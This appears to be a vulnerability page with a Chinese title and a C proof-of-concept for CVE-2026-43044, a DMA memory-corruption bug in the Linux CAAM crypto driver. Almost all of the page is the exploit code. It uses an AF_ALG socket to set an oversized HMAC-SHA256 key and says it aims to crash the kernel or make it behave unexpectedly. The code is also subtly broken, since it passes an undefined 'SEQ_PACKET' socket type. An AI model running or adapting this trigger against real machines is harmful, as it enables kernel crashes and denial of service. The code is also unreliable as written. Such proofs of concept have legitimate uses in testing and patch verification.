CVE-2026-43044 Linux内核CAAM驱动内存损坏漏洞

/* * PoC for CVE-2026-43044: DMA Corruption on long HMAC keys in Linux CAAM driver. * This code attempts to trigger the vulnerability by sending a long HMAC key * to a crypto interface using the CAAM driver. * Note: This requires a system with the CAAM driver enabled and active. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define KEY_SIZE 128 // Larger than block size (e.g., 64 for SHA256) to trigger the bug int main() { int tfm_fd, sock_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "hmac(sha256)" // Target algorithm handled by CAAM }; // 1. Create socket tfm_fd = socket(AF_ALG, SEQ_PACKET, 0); if (tfm_fd < 0) { perror("socket"); return 1; } // 2. Bind to the algorithm (CAAM driver handles this if available) if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfm_fd); return 1; } // 3. Set the long key (Trigger the vulnerable path) char key[KEY_SIZE]; memset(key, 'A', sizeof(key)); if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setsockopt"); close(tfm_fd); return 1; } // 4. Send data to compute HMAC sock_fd = accept(tfm_fd, NULL, 0); if (sock_fd < 0) { perror("accept"); close(tfm_fd); return 1; } char msg[] = "Test Message"; if (send(sock_fd, msg, sizeof(msg), 0) < 0) { perror("send"); } printf("PoC executed. If kernel crashes or behaves unexpectedly, vulnerability is triggered."); close(sock_fd); close(tfm_fd); return 0; }